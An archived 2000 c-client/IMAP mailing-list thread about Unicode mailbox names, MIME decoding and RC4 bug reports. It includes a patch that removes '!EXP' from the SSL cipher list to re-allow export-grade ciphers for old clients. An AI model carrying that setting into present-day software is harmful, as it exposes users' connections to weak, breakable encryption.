from RFC 2060 whether the "Unicode 16-bit octets" [sic] are always single characters or whether surrogates can be used to represent characters above 0xffff. (I suspect that surrogates are allowed and I should modify some code I wrote ...) Edmund From pinedev@shivax2.cac.washington.edu Fri Aug 11 03:22:32 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Aug 2000 03:22:32 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA15165 for ; Fri, 11 Aug 2000 03:22:30 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA21020; Fri, 11 Aug 2000 03:22:28 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id DAA03322; Fri, 11 Aug 2000 03:22:06 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id DAA20074 for ; Fri, 11 Aug 2000 03:19:30 -0700 Received: from dag.newtech.fi (IDENT:qmailr@dag.newtech.fi [195.163.186.138]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id DAA01013 for ; Fri, 11 Aug 2000 03:19:29 -0700 Received: (qmail 4828 invoked by uid 200); 11 Aug 2000 10:19:25 -0000 Message-Id: <20000811101925.4827.qmail@dag.newtech.fi> Date: Fri, 11 Aug 2000 13:19:25 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: c-client@u.washington.edu Subject: Re: c-client literals in LIST ? (fwd) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN As there seems to be more interest in this that expected, I forward the last mail I sent to Mark in our private discussion, where he managed to make me understand why it is done like it is. ------- Forwarded Message >From dag@newtech.fi Thu Aug 10 09:41:19 2000 Return-Path: Delivered-To: dag@newtech.fi Received: (qmail 3958 invoked by uid 200); 10 Aug 2000 06:41:19 -0000 Message-ID: <20000810064119.3957.qmail@dag.newtech.fi> X-Mailer: exmh version 2.1.1 10/15/1999 To: Mark Crispin cc: dag@newtech.fi Subject: Re: c-client literals in LIST ? Content-type: TEXT/PLAIN; CHARSET=US-ASCII In-reply-to: Your message of "Wed, 09 Aug 2000 14:36:29 PDT." Date: Thu, 10 Aug 2000 09:41:19 +0300 From: Dag Nygren > On Thu, 10 Aug 2000 00:04:05 +0300, Dag Nygren wrote: > ...... > Lots of good information on Unicode > Thanks, now I think I see the light... My error was really concentrating too much on my particular problem, where the IMAP server and client would run on the same machine. One thing strike my mind though: Wouldn't it be practical to have a IMAP 'local' mode where IMAP wouldn't touch the coding at all ? Most of the IMAP usage is anyway within companies where the employees are using the same coding standard. Very few companies has multinational extent. The big mailproviders of course need the current setup. Actually....This mode would probably be the same as using utf-8. > Today, we are in a transition period from the kludges to Unicode. We can't > exterminate the kludges today. But every day, the kludges become more > difficult and less reliable. Yes I now realize that you are right there. I also found out that it is not too big a job (We are using Linux here) after all. Thanks for your reply Dag ------- End of Forwarded Message From pinedev@shivax2.cac.washington.edu Fri Aug 11 10:37:07 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Aug 2000 10:37:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA18560 for ; Fri, 11 Aug 2000 10:37:05 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA31506; Fri, 11 Aug 2000 10:37:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA13610; Fri, 11 Aug 2000 10:36:35 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA29132 for ; Fri, 11 Aug 2000 10:34:27 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jim@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA30734 for ; Fri, 11 Aug 2000 10:34:26 -0700 Message-Id: Date: Fri, 11 Aug 2000 10:21:12 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Karsten Ball|der Cc: c-client Subject: re: Re[2]: c-client literals in LIST ? In-Reply-To: <200008110921.KAA13544@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Now I see that there are all kind of implications when doing such things > over some network protocol, but where is the problem with accessing files > locally? What happens when those files get exported via IMAP? > Isn't it the applications responsibility to display the name in the correct > charset? How does the application know the correct charset? What happens when your application is run in Japan and instead of outputting proper kanji writes some garbage using European characters? Or what happens when your application thinks that it's writing a European name, but instead writes some garbage in kanji? The current software world is infested with software that does just that -- it writes garbage. This is because of the "just send 8-bits" attitude that was in vogue in Europe (and elsewhere). People were alerted to the problems of doing this, and didn't care. We're paying the price now. The basic flaw in your thinking is that filenames (or mailbox names) should have a charset. They shouldn't. They are global concepts, and need to have a representation that is valid world-wide. That leaves you with two choices: stick to ASCII, or go to Unicode. > I.e. what for does the library/mailbox driver need to know the charset? For example: one day, those "local" mailbox names will get exported via IMAP, and they then have to be exported correctly. We're having problems now, because people are clinging to their old ISO-8859-1 or SJIS filenames instead of moving into the modern world. > Can I pass a UTF-7 (or something else) encoded filenames to the c-client > library to open filenames containing 8bit characters? You can open filenames containing 8-bit characters. You just can't create them. You have to create UTF-7 names. When UTF-8 names are allowed, you will have to use UTF-8 if you use 8-bit characters. If you pass ISO-8859-1, your software will fail in bizarre ways. I understand that this is painful. Unfortunately, it's something that we have to go through to achieve international interoperability. The longer we procrastinate or kludge around it, the worse it will become. From pinedev@shivax2.cac.washington.edu Fri Aug 11 10:51:49 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Aug 2000 10:51:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA20685 for ; Fri, 11 Aug 2000 10:51:48 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA32035; Fri, 11 Aug 2000 10:51:46 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA29586; Fri, 11 Aug 2000 10:50:08 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA132616 for ; Fri, 11 Aug 2000 10:48:45 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA18725 for ; Fri, 11 Aug 2000 10:48:45 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (longo@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA31908 for ; Fri, 11 Aug 2000 10:48:44 -0700 Message-Id: Date: Fri, 11 Aug 2000 10:36:36 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Edmund GRIMLEY-EVANS Cc: c-client Interest List Subject: Re: c-client literals in LIST ? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 09 Aug 2000 16:46:37 +0100, Edmund GRIMLEY-EVANS wrote: > Also, it wasn't clear to me from RFC 2060 whether the "Unicode 16-bit > octets" [sic] are always single characters or whether surrogates can be > used to represent characters above 0xffff. (I suspect that surrogates are > allowed and I should modify some code I wrote ...) The bogus "Unicode 16-bit octets" text of RFC 2060 was fixed in the draft of the updated base specification. Yes, surrogates are allowed. So, if you convert to a 16-bit form, you must convert to UTF-16, not UCS-2. If you're trying to assume a continued relationship between string length and number of characters, not even UCS-4 will do that for you. Remember combining characters (deep sigh)! From pinedev@shivax2.cac.washington.edu Fri Aug 11 19:21:30 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Aug 2000 19:21:30 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id TAA06530 for ; Fri, 11 Aug 2000 19:21:28 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA17972; Fri, 11 Aug 2000 19:21:25 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id TAA17532; Fri, 11 Aug 2000 19:21:02 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id TAA55112 for ; Fri, 11 Aug 2000 19:19:13 -0700 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA21823 for ; Fri, 11 Aug 2000 19:19:09 -0700 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id UAA16078 for ; Fri, 11 Aug 2000 20:19:30 -0600 Message-Id: Date: Fri, 11 Aug 2000 20:19:30 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: c-client@u.washington.edu Subject: how come this doesn't work? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN /*B sendmail usually does all the conversion of this stuff when the mail gets delivered locally, but the headers are still with this iso-8859 codification stuff. so I want to use the rfc822_qprint thing to convert them to 8bit chars isn't that what rfc822_qprint is for? the printf below gives me "null" and the newlen is 0..... I want it to print out Andy Rodriguez, but the "i" is with the accent on it. sorry, i dont know how to get that on my keyboard. Thanks for the help... */ #include #include #include #include #include "callback.c" int count; int main() { char *mystr = "Andy =?iso-8859-1?Q?Rodr=EDguez?="; char outstr[200]; unsigned long newlen; bzero(outstr, 200); printf("%s\n", rfc822_qprint(mystr, strlen(mystr), &newlen)); printf("%d\n", newlen); exit(0); } -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Aug 11 19:42:30 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Aug 2000 19:42:30 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id TAA23165 for ; Fri, 11 Aug 2000 19:42:28 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA13389; Fri, 11 Aug 2000 19:42:25 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id TAA28434; Fri, 11 Aug 2000 19:41:56 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id TAA55242 for ; Fri, 11 Aug 2000 19:40:31 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (nark@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA23087 for ; Fri, 11 Aug 2000 19:40:31 -0700 Message-Id: Date: Fri, 11 Aug 2000 19:30:16 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Trank Cc: c-client@u.washington.edu Subject: re: how come this doesn't work? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN rfc822_qprint() converts quoted printable data to 8-bit. The token that you are trying to convert is a MIME2 quoted-word. Part of it is in a format similar, but not identical, to quoted-printable format. The only routine in c-client that deals with MIME2 quoted-words is the routine utf8_mime2text(), which will convert text containing MIME2 quoted-words into the equivalent UTF-8 (Unicode) text. If you're stuck with a UNIX system that can only display ISO-8859-1, either you must parse the quoted-word yourself using utf8_mime2text() as a model, or you should try convert the UTF-8 text into ISO-8859-1. Note that quoted words which use other character sets, even something as closely related as ISO-8859-2, will probably not convert to ISO-8859-1 in any reasonable way. There is, unfortunately, not much better that you can do that this; Unix has fallen sadly behind the times when it comes to internationalization. If you are implementing for Windows, then you should use the Windows Unicode display routines and not the obsolete routines for ISO-8859-1. Modern versions of Windows support Unicode, and all new Windows programs should use Unicode instead of the old code page kludges. From pinedev@shivax2.cac.washington.edu Sun Aug 13 21:43:04 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 13 Aug 2000 21:43:03 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA11186 for ; Sun, 13 Aug 2000 21:43:02 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA02550; Sun, 13 Aug 2000 21:43:00 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA25475; Sun, 13 Aug 2000 21:42:38 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA116532 for ; Sun, 13 Aug 2000 21:40:41 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA16604 for ; Sun, 13 Aug 2000 21:40:40 -0700 Received: from mailgw.ust.hk (mailgw.ust.hk [143.89.14.35]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA02500; Sun, 13 Aug 2000 21:40:37 -0700 Received: from uxmail.ust.hk (root@uxmail.ust.hk [143.89.14.30]) by mailgw.ust.hk (8.11.0/8.11.0) with ESMTP id e7E4TZu00085; Mon, 14 Aug 2000 12:29:35 +0800 (HKT) Received: from ccsu11 (ccyflai@ccsu11.ust.hk [143.89.103.7]) by uxmail.ust.hk (8.9.3/8.9.3) with SMTP id MAA08311; Mon, 14 Aug 2000 12:40:24 +0800 (HKT) Received: by ccsu11 (SMI-8.6//ident-1.0) id MAA03801; Mon, 14 Aug 2000 12:40:23 +0800 Message-Id: <20000814124023.C3649@ccsu11.ust.hk> Date: Mon, 14 Aug 2000 12:40:23 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lai Yiu Fai To: Mark Crispin Cc: c-client Interest List Subject: Re: Announcing: University of Washington IMAP toolkit Release Candidate 4 In-Reply-To: ; from MRC@cac.washington.edu on Tue, Aug 08, 2000 at 04:49:20PM -0700 References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN There is minor bugs in RC4. In src/osdep/unix/Makefile.ssl, it miss a '/' at the end of what defined in the SSL_CERT_DIRECTORY. Also, it found that RC4 enforces strong ciphers in SSL negotiation which deny connections from those old export-grade versions of Netscape and Outlook Express. Rgds, Ken From pinedev@shivax2.cac.washington.edu Sun Aug 13 22:18:25 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 13 Aug 2000 22:18:24 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA12922 for ; Sun, 13 Aug 2000 22:18:23 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA31283; Sun, 13 Aug 2000 22:18:21 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id WAA16708; Sun, 13 Aug 2000 22:17:57 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id WAA21872 for ; Sun, 13 Aug 2000 22:17:29 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA04854 for ; Sun, 13 Aug 2000 22:17:29 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rogue@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA03190 for ; Sun, 13 Aug 2000 22:17:29 -0700 Message-Id: Date: Sun, 13 Aug 2000 22:14:35 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Lai Yiu Fai Cc: c-client Interest List Subject: Re: Announcing: University of Washington IMAP toolkit Release Candidate 4 In-Reply-To: <20000814124023.C3649@ccsu11.ust.hk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 14 Aug 2000 12:40:23 +0800, Lai Yiu Fai wrote: > There is minor bugs in RC4. In src/osdep/unix/Makefile.ssl, it miss a '/' > at the end of what defined in the SSL_CERT_DIRECTORY. Also, it found that > RC4 enforces strong ciphers in SSL negotiation which deny connections from > those old export-grade versions of Netscape and Outlook Express. Thank you for reporting these problems. I will make sure that it is fixed in the release distribution. For your convenience, here are the patches to file imap-2000/src/osdep/unix/auth_ssl.c necessary to fix both problems: 13c13 < * Last Edited: 3 August 2000 --- > * Last Edited: 13 August 2000 55c55 < #define SSLCIPHERLIST "ALL:!LOW:!EXP" --- > #define SSLCIPHERLIST "ALL:!LOW" 693c693 < sprintf (tmp,"%s%s-%s.pem",SSL_CERT_DIRECTORY,server, --- > sprintf (tmp,"%s/%s-%s.pem",SSL_CERT_DIRECTORY,server, 696c696 < if (stat (tmp,&sbuf)) sprintf (tmp,"%s%s.pem",SSL_CERT_DIRECTORY,server); --- > if (stat (tmp,&sbuf)) sprintf (tmp,"%s/%s.pem",SSL_CERT_DIRECTORY,server); From pinedev@shivax2.cac.washington.edu Mon Aug 14 01:31:29 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Aug 2000 01:31:29 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA07836 for ; Mon, 14 Aug 2000 01:31:28 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA06547; Mon, 14 Aug 2000 01:31:26 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA28218; Mon, 14 Aug 2000 01:29:37 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA20112 for ; Mon, 14 Aug 2000 01:28:56 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA17370 for ; Mon, 14 Aug 2000 01:28:56 -0700 Received: from relay2.mail.uk.psi.net (relay2.mail.uk.psi.net [154.32.107.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA06479; Mon, 14 Aug 2000 01:28:52 -0700 Received: from voc_fs1.vocalis.com ([195.152.18.3] helo=groupwise.vocalis.com) by relay2.mail.uk.psi.net with smtp (Exim 2.12 #2) id 13OFbm-0004ue-00; Mon, 14 Aug 2000 09:28:34 +0100 Received: from Vocalis-Message_Server by groupwise.vocalis.com with Novell_GroupWise; Mon, 14 Aug 2000 09:27:12 +0100 Message-Id: Date: Mon, 14 Aug 2000 09:26:46 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Edmund GRIMLEY-EVANS" To: Cc: Subject: Re: c-client literals in LIST ? Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Yes, surrogates are allowed. So, if you convert to a 16-bit form, you = must > convert to UTF-16, not UCS-2. Thanks. Another thing for my TODO list. > If you're trying to assume a continued relationship between string = length and > number of characters, not even UCS-4 will do that for you. Remember = combining > characters (deep sigh)! Since I'm using slang/curses, I'm more interested in the number of = character cells that a string requires for display, which is even less directly = related to the length of the representation ... Are you going to answer my questions about how UTF-8 will be implemented in IMAP? Edmund From pinedev@shivax2.cac.washington.edu Mon Aug 14 01:51:31 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Aug 2000 01:51:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA16800 for ; Mon, 14 Aug 2000 01:51:30 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA02557; Mon, 14 Aug 2000 01:51:28 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA13733; Mon, 14 Aug 2000 01:51:09 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA17222 for ; Mon, 14 Aug 2000 01:49:47 -0700 Received: from phy.hw.ac.uk (root@fhada.phy.hw.ac.uk [137.195.28.12]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA18429 for ; Mon, 14 Aug 2000 01:49:46 -0700 Received: from pc166.phy.hw.ac.uk (karsten@matterhorn.phy.hw.ac.uk [137.195.29.249]) by phy.hw.ac.uk (8.9.3/8.9.3) with ESMTP id JAA16159 for ; Mon, 14 Aug 2000 09:49:39 +0100 (BST) Message-Id: <200008140849.JAA16159@phy.hw.ac.uk> Date: Mon, 14 Aug 2000 09:49:39 +0100 (GMT) Reply-To: Karsten Ballüder Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?iso-8859-1?Q?Karsten Ball=FCder?= To: c-client Subject: maildir driver for c-client ? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Aug 2000 09:23:47 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA25412 for ; Mon, 14 Aug 2000 09:23:46 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA16782; Mon, 14 Aug 2000 09:23:40 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA09205; Mon, 14 Aug 2000 09:23:05 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA89144 for ; Mon, 14 Aug 2000 09:22:07 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA23561 for ; Mon, 14 Aug 2000 09:22:06 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.10.0/jtpda-5.3.3) with ESMTP id e7EGM5968806 for ; Mon, 14 Aug 2000 18:22:05 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.9.1a/jtpda-5.3.1) with ESMTP id SAA08437 for ; Mon, 14 Aug 2000 18:22:05 +0200 (MET DST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id SAA27080 for c-client@u.washington.edu; Mon, 14 Aug 2000 18:22:04 +0200 Message-Id: Date: Mon, 14 Aug 2000 18:22:04 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: 8bit characters in the folder names Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Sender: zeitlin@lpthe.jussieu.fr X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm confused again by c-client - this time by its [not] handling of the 8bit characters in the folder names. If I understood Mark correctly, the idea is to always use Unicode (UTF-7) for them to avoid problems with misinterpretations of names written in one encoding when accessed by a user who uses another encoding. Fine - I see this point. But why doesn't cclient do it itself? It has the functions for translations between the known encodings and UTF-7 used in rfc822 code, so why doesn't it take care of the folder names as well? Some standard encoding scheme is needed for the folder names and wouldn't it be better to implement it in the library instead of leaving it to the programs? Thanks, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 14 10:41:19 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Aug 2000 10:41:19 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by 